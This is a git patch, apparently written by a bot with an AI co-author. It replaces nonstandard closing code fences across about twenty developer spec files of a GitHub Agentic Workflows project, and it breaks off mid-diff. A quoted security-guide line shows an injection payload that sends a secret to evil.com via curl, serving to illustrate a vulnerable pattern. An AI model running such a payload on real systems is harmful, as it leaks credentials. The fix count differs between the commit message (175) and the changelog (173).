From bbb60e1e72ecf6f3f3573f5db0637a925527eb83 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 26 Feb 2026 00:07:58 +0000 Subject: [PATCH 1/2] docs: fix 175 non-standard code fence closing markers across 20 spec files Fixed non-standard closing fences where ```text (or similar) was used to close ```go, ```yaml, and other language code blocks. CommonMark spec requires closing fences to have no info string. Files fixed: code-organization.md (2), validation-architecture.md (18), actions.md (11), safe-output-messages.md (33), github-actions-security-best-practices.md (34), and 15 others. Total: 175 closing fence fixes across 20 scratchpad spec files. Updated dev.md to v3.1 with change history entry. Co-Authored-By: Claude Sonnet 4.6 --- scratchpad/actions.md | 22 +++--- scratchpad/breaking-cli-rules.md | 6 +- scratchpad/capitalization.md | 2 +- scratchpad/changesets.md | 10 +-- scratchpad/code-organization.md | 4 +- scratchpad/dev.md | 5 +- scratchpad/end-to-end-feature-testing.md | 8 +-- scratchpad/firewall-log-parsing.md | 8 +-- .../github-actions-security-best-practices.md | 68 +++++++++---------- scratchpad/go-type-patterns.md | 8 +-- scratchpad/gosec.md | 4 +- scratchpad/mcp_logs_guardrails.md | 24 +++---- scratchpad/mods/jsonschema-go.md | 8 +-- .../safe-output-environment-variables.md | 4 +- scratchpad/safe-output-messages.md | 66 +++++++++--------- scratchpad/schema-validation.md | 6 +- scratchpad/security_review.md | 16 ++--- .../string-sanitization-normalization.md | 28 ++++---- scratchpad/template-injection-prevention.md | 8 +-- scratchpad/testing.md | 10 +-- scratchpad/validation-architecture.md | 36 +++++----- 21 files changed, 176 insertions(+), 175 deletions(-) diff --git a/scratchpad/actions.md b/scratchpad/actions.md index 7bc3e7777f5..6c63436b6c9 100644 --- a/scratchpad/actions.md +++ b/scratchpad/actions.md @@ -212,7 +212,7 @@ inputs: runs: using: 'node20' main: 'index.js' -```text +``` ### Source File Pattern @@ -234,7 +234,7 @@ for (const [filename, content] of Object.entries(FILES)) { fs.mkdirSync(path.dirname(filepath), { recursive: true }); fs.writeFileSync(filepath, content, 'utf8'); } -```text +``` ## Build System @@ -283,7 +283,7 @@ make actions-validate # Clean generated files make actions-clean -```text +``` ### Implementation Details @@ -301,7 +301,7 @@ func getActionDependencies(actionName string) []string { return []string{} } -```text +``` #### File Embedding @@ -314,7 +314,7 @@ outputContent := filesRegex.ReplaceAllString( string(sourceContent), fmt.Sprintf("const FILES = %s;", strings.TrimSpace(indentedJSON)) ) -```text +``` ## Architectural Decisions @@ -408,7 +408,7 @@ jobs: uses: ./actions/setup with: destination: /tmp/scripts -```text +``` ### Creating a New Action @@ -499,7 +499,7 @@ actions-build: - run: go mod verify - run: make actions-build - run: make actions-validate -```text +``` ### Trigger Conditions @@ -904,7 +904,7 @@ jobs: github-token: ${{ secrets.GITHUB_TOKEN }} script: | // JavaScript code here -```text +``` ### Design Decisions @@ -963,7 +963,7 @@ EOF # Update dependency mapping in pkg/cli/actions_build_command.go # Build the action make actions-build -```text +``` #### 2. Register and Compile @@ -980,7 +980,7 @@ workflow.DefaultScriptRegistry.RegisterWithAction( compiler := workflow.NewCompilerWithVersion("1.0.0") compiler.SetActionMode(workflow.ActionModeDev) compiler.CompileWorkflow("workflow.md") -```text +``` #### 3. Result @@ -995,7 +995,7 @@ jobs: with: token: ${{ secrets.GITHUB_TOKEN }} agent-output: /tmp/agent-output.json -```text +``` ### Current Status diff --git a/scratchpad/breaking-cli-rules.md b/scratchpad/breaking-cli-rules.md index 6ab4f757729..92b52da12bb 100644 --- a/scratchpad/breaking-cli-rules.md +++ b/scratchpad/breaking-cli-rules.md @@ -201,7 +201,7 @@ Remove deprecated `--old-flag` option - Scripts using this flag will need to be updated **Reason**: The option was deprecated in v0.X.0 and has been removed to simplify the CLI. -```text +``` ### Changeset Format for Non-Breaking Changes @@ -212,7 +212,7 @@ For new features: --- Add --json flag to logs command for structured output -```text +``` For bug fixes: ```markdown @@ -221,7 +221,7 @@ For bug fixes: --- Fix incorrect exit code when workflow file not found -```text +``` ## Review Checklist for CLI Changes diff --git a/scratchpad/capitalization.md b/scratchpad/capitalization.md index 3cdc5385b9c..728ddfc3dc5 100644 --- a/scratchpad/capitalization.md +++ b/scratchpad/capitalization.md @@ -66,7 +66,7 @@ graph TD C --> F[Examples:
'GitHub Agentic Workflows CLI'
'GitHub Agentic Workflows from GitHub Next'] D --> G[Examples:
'Enable agentic workflows'
'Initialize repository for agentic workflows'
'Download agentic workflow logs'] E --> H[Examples:
'Compile Markdown workflows to GitHub Actions YAML'
'MCP helpers'] -```text +``` ## Implementation diff --git a/scratchpad/changesets.md b/scratchpad/changesets.md index 38af2ef19c5..d12fc60e356 100644 --- a/scratchpad/changesets.md +++ b/scratchpad/changesets.md @@ -23,7 +23,7 @@ node scripts/changeset.js release major # Skip confirmation prompt node scripts/changeset.js release --yes node scripts/changeset.js release patch -y -```text +``` **Note:** Using `make release` is recommended as it automatically runs tests before creating the release, ensuring code quality. @@ -35,7 +35,7 @@ The `version` command always operates in preview mode and never modifies files. ```bash node scripts/changeset.js version -```text +``` This command: - Reads all changeset files from `.changeset/` directory @@ -54,7 +54,7 @@ node scripts/changeset.js release minor # Skip confirmation prompt node scripts/changeset.js release --yes node scripts/changeset.js release patch -y -```text +``` This command: - Checks prerequisites (clean tree, main branch) @@ -80,7 +80,7 @@ Changeset files are markdown files in `.changeset/` directory with YAML frontmat --- Brief description of the change -```text +``` **Bump types:** - `patch` - Bug fixes and minor changes (0.0.x) @@ -98,7 +98,7 @@ Example error when not on main branch: ```bash $ node scripts/changeset.js release ✗ Must be on 'main' branch to create a release (currently on 'feature-branch') -```text +``` ## Release Workflow diff --git a/scratchpad/code-organization.md b/scratchpad/code-organization.md index e5435f66ab0..d5b4181c58e 100644 --- a/scratchpad/code-organization.md +++ b/scratchpad/code-organization.md @@ -262,14 +262,14 @@ The following files are justified despite their size due to domain complexity: ```go func extractString(data map[string]any, key string) string func extractBool(data map[string]any, key string) bool -```text +``` **Domain-specific extraction** (feature files): ```go // In create_issue.go func parseTitlePrefixFromConfig(configMap map[string]any) string func parseLabelsFromConfig(configMap map[string]any) []string -```text +``` **Guideline**: Use centralized extractors for primitive types, domain-specific parsers for complex types. diff --git a/scratchpad/dev.md b/scratchpad/dev.md index 2d398ceb3cb..c2508ff9fe6 100644 --- a/scratchpad/dev.md +++ b/scratchpad/dev.md @@ -1,7 +1,7 @@ # Developer Instructions -**Version**: 3.0 -**Last Updated**: 2026-02-25 +**Version**: 3.1 +**Last Updated**: 2026-02-26 **Purpose**: Consolidated development guidelines for GitHub Agentic Workflows This document consolidates specifications from the scratchpad directory into unified developer instructions. It provides architecture patterns, security guidelines, code organization rules, and testing practices. @@ -2056,6 +2056,7 @@ These files are loaded automatically by compatible AI tools (e.g., GitHub Copilo --- **Document History**: +- v3.1 (2026-02-26): Fixed 173 non-standard code fence closing markers across 20 spec files (`` ```text `` incorrectly closing `` ```go ``, `` ```yaml ``, and other language blocks); files fixed include code-organization.md, validation-architecture.md, actions.md, safe-output-messages.md, github-actions-security-best-practices.md, and 15 others - v3.0 (2026-02-25): Added YAML Parser Compatibility section (YAML 1.1 vs 1.2 boolean parsing, `on:` trigger key false positive, YAML 1.2 parser recommendations); added yaml-version-gotchas.md to Related Documentation; fixed 17 non-standard closing code fences in yaml-version-gotchas.md - v2.9 (2026-02-24): Added Engine Interface Architecture (ISP 7-interface design, BaseEngine, EngineRegistry), JavaScript Content Sanitization Pipeline with HTML entity bypass fix (T24 template delimiter neutralization), and Activation Output Transformations compiler behavior; added 4 new Related Documentation links - v2.8 (2026-02-23): Documented PR #17769 features: unassign-from-user safe output, blocked deny-list for assign/unassign, standardized error code registry, templatable integer fields, safe outputs prompt template system, XPIA defense policy, MCP template expression escaping, status-comment decoupling, sandbox.agent migration, agent instruction files in .github/agents/ diff --git a/scratchpad/end-to-end-feature-testing.md b/scratchpad/end-to-end-feature-testing.md index d08ff747f45..a7b5b959de7 100644 --- a/scratchpad/end-to-end-feature-testing.md +++ b/scratchpad/end-to-end-feature-testing.md @@ -53,7 +53,7 @@ gh workflow run dev.md --ref your-branch-name # Check the workflow run status gh run list --workflow=dev.md --limit 5 -```text +``` #### Option B: Using the GitHub Web UI @@ -139,7 +139,7 @@ tools: # Test New Tool Integration Use the new-tool to perform [specific task] and verify the results. -```text +``` ### Example 2: Testing New Engine Features @@ -152,7 +152,7 @@ new_feature_flag: true # Test New Engine Feature Demonstrate the new engine feature by [description of test]. -```text +``` ### Example 3: Testing Safe Output Enhancements @@ -168,7 +168,7 @@ safe-outputs: # Test New Safe Output Type Create multiple instances of the new output type to verify rate limiting and targeting work correctly. -```text +``` ## Best Practices diff --git a/scratchpad/firewall-log-parsing.md b/scratchpad/firewall-log-parsing.md index cd30bcfdfa7..02f73532db8 100644 --- a/scratchpad/firewall-log-parsing.md +++ b/scratchpad/firewall-log-parsing.md @@ -175,7 +175,7 @@ Blocked Domains: } } } -```text +``` ## Integration Points @@ -210,17 +210,17 @@ The `audit` command now automatically: make test-unit # or go test ./pkg/cli -run "Firewall|IsRequest" -```text +``` ### Integration Tests (2 total) ```bash go test ./pkg/cli -run TestFirewallLogIntegration -```text +``` ### All Tests ```bash make agent-finish -```text +``` ## Validation Results diff --git a/scratchpad/github-actions-security-best-practices.md b/scratchpad/github-actions-security-best-practices.md index cd0858d2089..617e46cc847 100644 --- a/scratchpad/github-actions-security-best-practices.md +++ b/scratchpad/github-actions-security-best-practices.md @@ -37,7 +37,7 @@ jobs: - name: Echo issue title run: echo "${{ github.event.issue.title }}" # Attacker can inject: `"; curl evil.com/?secret=$SECRET; echo "` -```text +``` **Why it's vulnerable**: The issue title is directly interpolated into the expression. An attacker can close the string, inject commands, and access secrets. @@ -59,7 +59,7 @@ jobs: ISSUE_TITLE: ${{ github.event.issue.title }} run: echo "$ISSUE_TITLE" # Input is treated as data, not code -```text +``` **Why it's secure**: The expression is evaluated in a controlled context (environment variable assignment). The shell receives the value as data, not executable code. @@ -69,7 +69,7 @@ jobs: # SECURE: Use sanitized context output # For GitHub Agentic Workflows Analyze this content: "${{ needs.activation.outputs.text }}" -```text +``` **Why it's secure**: The `needs.activation.outputs.text` output is automatically sanitized: - @mentions neutralized (`` `@user` ``) @@ -104,7 +104,7 @@ run-name: "Processing ${{ github.event.issue.title }}" # ✅ SECURE: Avoid using untrusted input in run-name run-name: "Processing issue #${{ github.event.issue.number }}" -```text +``` ### Template Injection in Conditional Expressions @@ -144,7 +144,7 @@ steps: for file in $FILES; do # SC2086: Unquoted variable echo $file # SC2086: Unquoted variable done -```text +``` **Why it's vulnerable**: - Variables can be split on whitespace (files with spaces break) @@ -161,7 +161,7 @@ steps: while IFS= read -r file; do echo "$file" done < <(find . -name "*.txt") -```text +``` **Why it's secure**: Proper quoting prevents word splitting and globbing. Using `find` with process substitution is more robust than `ls`. @@ -175,7 +175,7 @@ steps: - name: Set variable run: echo 'Value is $HOME' # SC2016: Won't expand # Output: Value is $HOME (literal) -```text +``` #### ✅ Secure Pattern: Use Double Quotes or Unquoted @@ -185,7 +185,7 @@ steps: - name: Set variable run: echo "Value is $HOME" # Output: Value is /home/runner -```text +``` ### Proper Quoting in Multi-line Scripts @@ -208,7 +208,7 @@ steps: echo "Invalid filename" exit 1 fi -```text +``` ### GraphQL Query Formatting @@ -234,7 +234,7 @@ When building GraphQL queries in shell scripts, use proper quoting: EOF ) echo "$QUERY" -```text +``` ### Bash Script Security Checklist @@ -284,7 +284,7 @@ steps: - uses: actions/checkout@v5 # Tag can be moved - uses: actions/setup-node@main # Branch can be updated - uses: thirdparty/action@latest # Always points to latest -```text +``` **Why it's vulnerable**: - Tags can be deleted and recreated with malicious code @@ -300,7 +300,7 @@ steps: - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1 - uses: actions/setup-node@60edb5dd545a775178f52524783378180af0d1f8 # v4.0.2 - uses: thirdparty/action@abc123def456... # v2.0.0 -```text +``` **Why it's secure**: - SHA commits are immutable (cannot be changed without changing hash) @@ -320,7 +320,7 @@ git ls-remote https://github.com/actions/checkout v4.1.1 # For actions with subpaths (like codeql-action) git ls-remote https://github.com/github/codeql-action v3 -```text +``` **Method 2: Using GitHub API** ```bash @@ -329,7 +329,7 @@ curl -s https://api.github.com/repos/actions/checkout/git/refs/tags/v4.1.1 | jq # Get the latest release curl -s https://api.github.com/repos/actions/checkout/releases/latest | jq -r '.tag_name' -```text +``` **Method 3: Using GitHub Web UI** 1. Navigate to the action's GitHub repository (e.g., https://github.com/actions/checkout) @@ -364,7 +364,7 @@ get_sha() { # Usage: get_sha "actions/checkout" "v4.1.1" get_sha "$1" "$2" -```text +``` ### Verify Action Creators @@ -398,7 +398,7 @@ get_sha "$1" "$2" # - Maintenance activity # - User reviews - uses: unknown-org/custom-action@sha -```text +``` ### Review Action Permissions @@ -415,7 +415,7 @@ permissions: - uses: thirdparty/action@sha with: token: ${{ secrets.GITHUB_TOKEN }} -```text +``` ### Dependency Scanning @@ -438,7 +438,7 @@ jobs: with: scan-type: 'fs' scan-ref: '.' -```text +``` ### Maintaining Pinned Actions @@ -499,7 +499,7 @@ updates: interval: "weekly" # Auto-merge minor and patch updates open-pull-requests-limit: 10 -```text +``` **Renovate Bot**: ```json @@ -510,7 +510,7 @@ updates: "pinDigests": true } } -```text +``` #### Finding All Unpinned Actions @@ -529,7 +529,7 @@ grep -r "uses:" .github/workflows/*.yml | grep "@[0-9a-f]\{40\}" | wc -l echo "Unpinned actions:" grep -r "uses:" .github/workflows/*.yml | grep -v "@[0-9a-f]\{40\}" | grep -v "^#" | wc -l -```text +``` ### Supply Chain Security Checklist @@ -564,7 +564,7 @@ jobs: runs-on: ubuntu-latest steps: - run: npm test -```text +``` **Why it's vulnerable**: Compromised workflow or action can access all repository resources, modify code, access secrets, and create releases. @@ -584,7 +584,7 @@ jobs: steps: - uses: actions/checkout@sha - run: npm test -```text +``` #### ✅ Secure Pattern: Job-Level Permissions @@ -612,7 +612,7 @@ jobs: steps: - uses: actions/checkout@sha - run: npm run deploy -```text +``` ### Available Permissions @@ -653,7 +653,7 @@ on: permissions: contents: read -```text +``` **Key differences**: - `pull_request`: Runs in PR context (fork's code, limited permissions) @@ -672,7 +672,7 @@ on: # Compiler automatically adds repository check: # github.event.workflow_run.repository.id == github.repository_id -```text +``` ### Environment Variable Handling @@ -692,7 +692,7 @@ steps: run: | # Token not exposed in logs curl -H "Authorization: Bearer $DEPLOY_TOKEN" https://api.example.com -```text +``` ### Safe Outputs Pattern (gh-aw specific) @@ -753,7 +753,7 @@ gh aw compile --poutine # Strict mode: fail on findings gh aw compile --strict --actionlint --zizmor --poutine -```text +``` ### CI/CD Integration @@ -792,7 +792,7 @@ jobs: path: | actionlint-report.txt zizmor-report.json -```text +``` ### Interpreting Results @@ -821,7 +821,7 @@ finding: artipacked [CRITICAL] Unpinned action at .github/workflows/ci.yml:10 - uses: actions/checkout@v5 - Recommendation: Pin to SHA -```text +``` **Action**: Replace version tags with SHA commits. @@ -835,7 +835,7 @@ repos: hooks: - id: actionlint args: [-shellcheck=] -```text +``` ### Integration Best Practices @@ -864,7 +864,7 @@ steps: env: API_KEY: ${{ secrets.API_KEY }} run: curl -H "X-API-Key: $API_KEY" ... -```text +``` **Best practices**: - Never commit secrets to repository @@ -904,7 +904,7 @@ jobs: url: https://example.com steps: - run: deploy.sh -```text +``` **Configure in repository settings**: - Required reviewers @@ -923,7 +923,7 @@ steps: echo "Commit: ${{ github.sha }}" echo "Time: $(date -u +%Y-%m-%dT%H:%M:%SZ)" echo "::endgroup::" -```text +``` ### Network Isolation (gh-aw specific) diff --git a/scratchpad/go-type-patterns.md b/scratchpad/go-type-patterns.md index 27a9179391b..7c762686f5c 100644 --- a/scratchpad/go-type-patterns.md +++ b/scratchpad/go-type-patterns.md @@ -506,7 +506,7 @@ func ProcessImportsFromFrontmatter( ) (mergedTools string, mergedEngines []string, err error) { // Parse dynamic YAML structure... } -```text +``` **Why `map[string]any`**: - Frontmatter structure varies by workflow @@ -616,7 +616,7 @@ type CodingAgentEngine interface { // GenerateSteps creates workflow steps for this engine GenerateSteps(config EngineConfig) ([]Step, error) } -```text +``` **Benefits**: - Multiple engine implementations (Copilot, Claude, Codex) @@ -639,7 +639,7 @@ type ToolConfig interface { GetType() string Validate() error } -```text +``` **Benefits**: - Different tools can have different configuration structures @@ -709,7 +709,7 @@ func Compile(v Validator) error { type Validator interface { Validate() error } -```text +``` 3. **Document interface contracts**: Explain what implementations must do diff --git a/scratchpad/gosec.md b/scratchpad/gosec.md index bc07dfcf7c1..a0b2e549393 100644 --- a/scratchpad/gosec.md +++ b/scratchpad/gosec.md @@ -224,7 +224,7 @@ When you need to suppress gosec warnings in code, use `#nosec` annotations with ```go // #nosec G -- -```text +``` **Best Practices**: 1. **Always include the rule ID**: `G204`, `G404`, etc. @@ -244,7 +244,7 @@ tmpID := fmt.Sprintf("tmp-%d", rand.Intn(1000000)) // #nosec G306 -- Executable script requires 0755 permissions os.WriteFile(scriptPath, content, 0755) -```text +``` **When to Use Suppressions**: - ✅ After confirming the code is actually safe diff --git a/scratchpad/mcp_logs_guardrails.md b/scratchpad/mcp_logs_guardrails.md index 012ef8f11e2..51a3e154502 100644 --- a/scratchpad/mcp_logs_guardrails.md +++ b/scratchpad/mcp_logs_guardrails.md @@ -40,7 +40,7 @@ When the output is within the token limit, the command returns the full JSON dat "tool_usage": [...], ... } -```text +``` ### Guardrail Triggered (Output > Token Limit) @@ -80,7 +80,7 @@ When the output exceeds the token limit (default: 12000 tokens), the command ret ... ] } -```text +``` ## Configuring the Token Limit @@ -96,7 +96,7 @@ You can customize the limit using the `max_tokens` parameter: "max_tokens": 20000 } } -```text +``` **Token Estimation**: The system uses approximately 4 characters per token as an estimation (OpenAI's rule of thumb). @@ -110,7 +110,7 @@ The `jq` parameter allows you to filter the output using jq syntax. Here are the { "jq": ".summary" } -```text +``` Returns just the aggregate metrics without individual run data. @@ -120,7 +120,7 @@ Returns just the aggregate metrics without individual run data. { "jq": ".runs | map({database_id, workflow_name, status})" } -```text +``` Returns a simplified list of runs with just the essential fields. @@ -130,7 +130,7 @@ Returns a simplified list of runs with just the essential fields. { "jq": ".runs | map(select(.conclusion == \"failure\"))" } -```text +``` Filters to show only runs that failed. @@ -140,7 +140,7 @@ Filters to show only runs that failed. { "jq": "{summary, runs: .runs[:5]}" } -```text +``` Returns summary plus the first 5 runs only. @@ -150,7 +150,7 @@ Returns summary plus the first 5 runs only. { "jq": "{errors_and_warnings, missing_tools, mcp_failures}" } -```text +``` Returns only the diagnostic information. @@ -160,7 +160,7 @@ Returns only the diagnostic information. { "jq": ".tool_usage" } -```text +``` Returns aggregated tool usage data. @@ -170,7 +170,7 @@ Returns aggregated tool usage data. { "jq": ".runs | map(select(.token_usage > 10000))" } -```text +``` Filters to show only runs with high token usage. @@ -180,7 +180,7 @@ Filters to show only runs with high token usage. { "jq": ".runs | map(select(.workflow_name == \"YOUR_WORKFLOW_NAME\"))" } -```text +``` Filters to show runs from a specific workflow. @@ -218,7 +218,7 @@ go test -v -tags integration -run "TestMCPServer_LogsGuardrail" ./pkg/cli/ # All tests make test-unit -```text +``` ## Benefits diff --git a/scratchpad/mods/jsonschema-go.md b/scratchpad/mods/jsonschema-go.md index 8cdc0068fdf..654b8a0f7fa 100644 --- a/scratchpad/mods/jsonschema-go.md +++ b/scratchpad/mods/jsonschema-go.md @@ -37,7 +37,7 @@ The library is used for **automatic JSON schema generation for MCP (Model Contex import "github.com/google/jsonschema-go/jsonschema" schema, err := jsonschema.ForType(typ, &jsonschema.ForOptions{}) -```text +``` **Purpose:** Generates JSON Schema from Go `reflect.Type`, automatically inferring schema properties from struct fields. @@ -48,7 +48,7 @@ func GenerateOutputSchema[T any]() (*jsonschema.Schema, error) { typ := reflect.TypeOf(zero) return jsonschema.ForType(typ, &jsonschema.ForOptions{}) } -```text +``` **Purpose:** Provides a generic wrapper for schema generation, leveraging Go 1.18+ generics for compile-time type safety. @@ -83,7 +83,7 @@ tool := &mcp.Tool{ Description: "My tool description", OutputSchema: schema, } -```text +``` ## Research Summary @@ -228,7 +228,7 @@ if err != nil { tool := &mcp.Tool{ OutputSchema: schema, } -```text +``` ### Schema Generation Guidelines diff --git a/scratchpad/safe-output-environment-variables.md b/scratchpad/safe-output-environment-variables.md index 3469b6cc711..93e1b5a37c9 100644 --- a/scratchpad/safe-output-environment-variables.md +++ b/scratchpad/safe-output-environment-variables.md @@ -261,7 +261,7 @@ safe-outputs: GITHUB_TOKEN: ${{ secrets.CUSTOM_PAT }} DEBUG_MODE: "true" CUSTOM_API_KEY: ${{ secrets.CUSTOM_API_KEY }} -```text +``` These variables are added to all safe output jobs and take precedence over default values. @@ -296,7 +296,7 @@ safe-outputs: steps: - name: Print environment variables run: env | grep GH_AW_ | sort -```text +``` ## Related Documentation diff --git a/scratchpad/safe-output-messages.md b/scratchpad/safe-output-messages.md index 093facbc034..124741a64eb 100644 --- a/scratchpad/safe-output-messages.md +++ b/scratchpad/safe-output-messages.md @@ -46,7 +46,7 @@ graph TD R --> S S --> T[Generate Success Summary] T --> U[Display in Step Summary] -```text +``` **Flow Stages:** 1. **AI Agent Output** - AI generates content for GitHub operations @@ -69,7 +69,7 @@ graph TD **Markdown Source:** ```markdown > AI generated by [WorkflowName](run_url) -```text +``` **Rendered Output:** > AI generated by [WorkflowName](https://github.com/example/repo/actions/runs/12345) @@ -79,7 +79,7 @@ graph TD **Markdown Source:** ```markdown > AI generated by [WorkflowName](run_url) for #123 -```text +``` **Rendered Output:** > AI generated by [Issue Analyzer](https://github.com/example/repo/actions/runs/12345) for #123 @@ -98,7 +98,7 @@ graph TD ```markdown > > To add this workflow in your repository, run `gh aw add owner/repo/path@ref`. See [usage guide](https://github.github.com/gh-aw/setup/cli/). -```text +``` **Rendered Output:** > @@ -119,7 +119,7 @@ graph TD - Issue: [#123](issue_url) - Discussion: [#456](discussion_url) - Pull Request: [#789](pr_url) -```text +``` **Rendered Output:** @@ -146,7 +146,7 @@ All staged mode previews use this consistent format: ## 🎭 Staged Mode: [Operation Type] Preview The following [items] would be [action] if staged mode was disabled: -```text +``` **Rendered Output:** ## 🎭 Staged Mode: Create Issues Preview @@ -170,7 +170,7 @@ Issue body content here **Labels:** label1, label2 --- -```text +``` **Rendered Output:** ## 🎭 Staged Mode: Create Issues Preview @@ -204,7 +204,7 @@ Discussion body content here **Category:** category-name --- -```text +``` **Rendered Output:** ## 🎭 Staged Mode: Create Discussions Preview @@ -241,7 +241,7 @@ The following comments would be added if staged mode was disabled: Comment body content here --- -```text +``` **Rendered Output:** ## 🎭 Staged Mode: Add Comments Preview @@ -287,7 +287,7 @@ PR body content here \`\`\` -```text +``` **Rendered Output:** ## 🎭 Staged Mode: Create Pull Request Preview @@ -318,7 +318,7 @@ index 1234567..abcdefg 100644 + throw new Error('Invalid credentials'); + } + throw new Error('Login error: ' + response.statusText); -```text +``` @@ -345,7 +345,7 @@ The following review comments would be created if staged mode was disabled: Review comment body here --- -```text +``` **Rendered Output:** ## 🎭 Staged Mode: Create PR Review Comments Preview @@ -387,7 +387,7 @@ Updated body content **New Status:** closed --- -```text +``` **Rendered Output:** ## 🎭 Staged Mode: Update Issues Preview @@ -432,7 +432,7 @@ index 1234567..abcdefg 100644 \`\`\` -```text +``` **Rendered Output:** @@ -449,7 +449,7 @@ index 1234567..abcdefg 100644 + throw new Error('Invalid credentials'); + } + throw new Error('Login error: ' + response.statusText); -```text +``` @@ -467,7 +467,7 @@ index 1234567..abcdefg 100644 \`\`\` -```text +``` **Rendered Output:** @@ -480,7 +480,7 @@ index 1234567..abcdefg 100644 +++ b/src/auth.js [additional patch lines...] ... (truncated) -```text +``` @@ -519,7 +519,7 @@ git am /tmp/agent-artifacts-[run_id]/aw.patch \`\`\` [patch preview if available] -```text +``` **Rendered Output:** @@ -541,14 +541,14 @@ gh run download 12345 -n agent-artifacts -D /tmp/agent-artifacts-12345 # Apply the patch git am /tmp/agent-artifacts-12345/aw.patch -```text +```
Show patch (45 lines) ```diff diff --git a/src/auth.js b/src/auth.js [patch content...] -```text +```
@@ -567,7 +567,7 @@ diff --git a/src/auth.js b/src/auth.js You can manually create a pull request from the branch if needed. [patch preview if available] -```text +``` **Rendered Output:** @@ -584,7 +584,7 @@ You can manually create a pull request from the branch if needed. ```diff diff --git a/src/auth.js b/src/auth.js [patch content...] -```text +``` @@ -599,7 +599,7 @@ diff --git a/src/auth.js b/src/auth.js **Markdown Source:** ```markdown Related to #123 -```text +``` **Rendered Output:** @@ -620,7 +620,7 @@ Related to #123 ## GitHub Issues - Issue #123: [Issue Title](issue_url) - Issue #456: [Another Issue](issue_url) -```text +``` **Rendered Output:** ## GitHub Issues @@ -634,7 +634,7 @@ Related to #123 ## GitHub Discussions - Discussion #123: [Discussion Title](discussion_url) - Discussion #456: [Another Discussion](discussion_url) -```text +``` **Rendered Output:** ## GitHub Discussions @@ -648,7 +648,7 @@ Related to #123 ## GitHub Comments - Comment #12345: [View Comment](comment_url) - Comment #67890: [View Comment](comment_url) -```text +``` **Rendered Output:** ## GitHub Comments @@ -662,7 +662,7 @@ Related to #123 ## GitHub PR Review Comments - Review Comment #12345: [View Comment](comment_url) - Review Comment #67890: [View Comment](comment_url) -```text +``` **Rendered Output:** ## GitHub PR Review Comments @@ -677,7 +677,7 @@ Related to #123 - **Pull Request**: [#123](pr_url) - **Branch**: `branch-name` - **Base Branch**: `main` -```text +``` **Rendered Output:** ## Pull Request @@ -694,7 +694,7 @@ Related to #123 - **Fallback Issue:** [#123](issue_url) - **Patch Artifact:** Available in workflow run artifacts - **Note:** Push failed, created issue as fallback -```text +``` **Rendered Output:** ## Push Failure Fallback @@ -712,7 +712,7 @@ Related to #123 - **Branch**: [`branch-name`](branch_url) - **Base Branch**: `main` - **Note**: Pull request creation failed, created issue as fallback -```text +``` **Rendered Output:** ## Fallback Issue Created @@ -728,7 +728,7 @@ Related to #123 ## Updated Issues - Issue #123: [Updated Title](issue_url) - Issue #456: [Another Updated Issue](issue_url) -```text +``` **Rendered Output:** ## Updated Issues @@ -914,7 +914,7 @@ For backward compatibility, the main `messages.cjs` file re-exports all function ```javascript // Backward-compatible import (imports all functions) const { generateFooterWithMessages, getStagedTitle } = require("./messages.cjs"); -```text +``` For new code, prefer importing directly from specific modules to reduce bundle size: @@ -927,7 +927,7 @@ const { getRunSuccessMessage, getRunFailureMessage } = require("./messages_run_s // Direct import for staged mode only const { getStagedTitle, getStagedDescription } = require("./messages_staged.cjs"); -```text +``` ### Bundling Behavior diff --git a/scratchpad/schema-validation.md b/scratchpad/schema-validation.md index e3b179ef28e..9a5a8d16d3e 100644 --- a/scratchpad/schema-validation.md +++ b/scratchpad/schema-validation.md @@ -42,7 +42,7 @@ Run tests with: make test-unit # or go test -v -run TestAdditionalPropertiesFalse ./pkg/parser/ -```text +``` ## Example Validation Error @@ -51,7 +51,7 @@ When a workflow contains a typo, the compiler provides a clear error message: ```bash $ ./gh-aw compile workflow-with-typo.md ✗ error: Unknown properties: toolz, engnie, permisions. Valid fields are: tools, engine, permissions, ... -```text +``` ## Validation Process @@ -84,7 +84,7 @@ var mainWorkflowSchema string //go:embed schemas/mcp_config_schema.json var mcpConfigSchema string -```text +``` This means: - Schema changes require running `make build` to take effect diff --git a/scratchpad/security_review.md b/scratchpad/security_review.md index 800e9877e43..88b7536665a 100644 --- a/scratchpad/security_review.md +++ b/scratchpad/security_review.md @@ -27,7 +27,7 @@ Reviewed 2 zizmor template injection findings in GitHub Actions workflows. Both ... echo "::warning::Extension installation status from previous step: ${{ steps.install-extension.outputs.EXTENSION_INSTALLED }}" ... -```text +``` ### Data Flow Analysis @@ -46,7 +46,7 @@ graph LR style E fill:#FFB6C1 style F fill:#87CEEB style H fill:#FFD700 -```text +``` 1. **Source**: `${{ steps.install-extension.outputs.EXTENSION_INSTALLED }}` 2. **Origin**: Set by the "Install gh agent-task extension" step (lines 198-203) @@ -90,7 +90,7 @@ graph LR GH_AW_ASSETS_BRANCH: ${{ env.GH_AW_ASSETS_BRANCH }} GH_AW_ASSETS_MAX_SIZE_KB: ${{ env.GH_AW_ASSETS_MAX_SIZE_KB }} GH_AW_ASSETS_ALLOWED_EXTS: ${{ env.GH_AW_ASSETS_ALLOWED_EXTS }} -```text +``` ### Data Flow Analysis @@ -116,7 +116,7 @@ graph TD style G fill:#FFB6C1 style I fill:#FFA500 style L fill:#DDA0DD -```text +``` #### GH_AW_SAFE_OUTPUTS 1. **Source**: `${{ env.GH_AW_SAFE_OUTPUTS }}` @@ -166,7 +166,7 @@ The compiler should conditionally include the `GH_AW_ASSETS_*` environment varia ```go // Always includes ASSETS env vars env["GH_AW_ASSETS_BRANCH"] = "${{ env.GH_AW_ASSETS_BRANCH }}" -```text +``` **Recommended behavior**: ```go @@ -176,7 +176,7 @@ if workflowData.SafeOutputs.UploadAssets != nil { env["GH_AW_ASSETS_MAX_SIZE_KB"] = "${{ env.GH_AW_ASSETS_MAX_SIZE_KB }}" env["GH_AW_ASSETS_ALLOWED_EXTS"] = "${{ env.GH_AW_ASSETS_ALLOWED_EXTS }}" } -```text +``` This would eliminate unnecessary undefined variable references and make the generated workflow cleaner. @@ -206,7 +206,7 @@ on: schedule: - cron: "0 16 * * *" # Daily at 16:00 UTC workflow_dispatch: -```text +``` **mcp-inspector.md**: ```yaml @@ -214,7 +214,7 @@ on: schedule: - cron: "0 18 * * 1" # Weekly on Mondays at 18:00 UTC workflow_dispatch: -```text +``` Neither workflow accepts external input from issues, pull requests, or comments that could be attacker-controlled. diff --git a/scratchpad/string-sanitization-normalization.md b/scratchpad/string-sanitization-normalization.md index 85a06e6cb0d..c70c57878ef 